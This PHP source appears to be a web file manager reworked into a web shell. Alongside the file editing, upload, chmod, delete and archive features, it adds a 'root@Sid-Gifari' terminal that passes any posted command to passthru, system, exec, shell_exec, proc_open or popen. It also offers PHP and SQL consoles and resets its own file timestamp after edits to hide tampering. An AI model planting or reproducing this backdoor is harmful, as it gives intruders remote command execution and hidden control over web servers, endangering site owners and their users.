iHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
else $msg_ntimes .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_ntimes?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg_ntimes .= (__('File updated'));
else $msg_ntimes .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_ntimes?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg_ntimes .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_ntimes?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//quanxian gai bian hou xu yao xi tong chongqi
$msg_ntimes = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg_ntimes .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg_ntimes .= __('Error occurred');
} else {
fclose($fp);
$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php
session_start();
// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];
// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
if (function_exists($func)) {
$canExecute = true;
break;
}
}
if (!isset($_SESSION['cwd'])) {
$_SESSION['cwd'] = getcwd();
}
// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
$_SESSION['cwd'] = realpath($_POST['path']);
}
$cwd = $_SESSION['cwd'];
$output = "";
if (isset($_POST['terminal'])) {
$cmdInput = trim($_POST['terminal-text']);
if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
$dir = trim($matches[1]);
if ($dir === '' || $dir === '~') {
$dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
} elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
$dir = $cwd . DIRECTORY_SEPARATOR . $dir;
}
$realDir = realpath($dir);
if ($realDir && is_dir($realDir)) {
$_SESSION['cwd'] = $realDir;
$cwd = $realDir;
$output = "Changed directory to " . htmlspecialchars($realDir);
} else {
$output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
}
} else {
if ($canExecute) {
chdir($cwd);
$cmd = $cmdInput . " 2>&1";
if (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} elseif (function_exists('exec')) {
exec($cmd, $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('proc_open')) {
// Using proc_open as fallback
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
];
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
} else {
$output = "Failed to execute command via proc_open.";
}
} elseif (function_exists('popen')) {
$handle = popen($cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
} else {
$output = "Failed to execute command via popen.";
}
} else {
$output = "Error: No command execution functions available.";
}
} else {
$output = "Command execution functions are disabled on this server. Terminal is unavailable.";
}
}
}
if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>
<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>
<form method="post" action="<?php echo $url_inc; ?>">
<input type="text" name="terminal-text" size="30" placeholder="Cmd">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
<input type="submit" name="terminal" value="Execute">
</form>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post" action="<?=$url_inc?>" style="display:inline">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
<input type="submit" name="search" value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
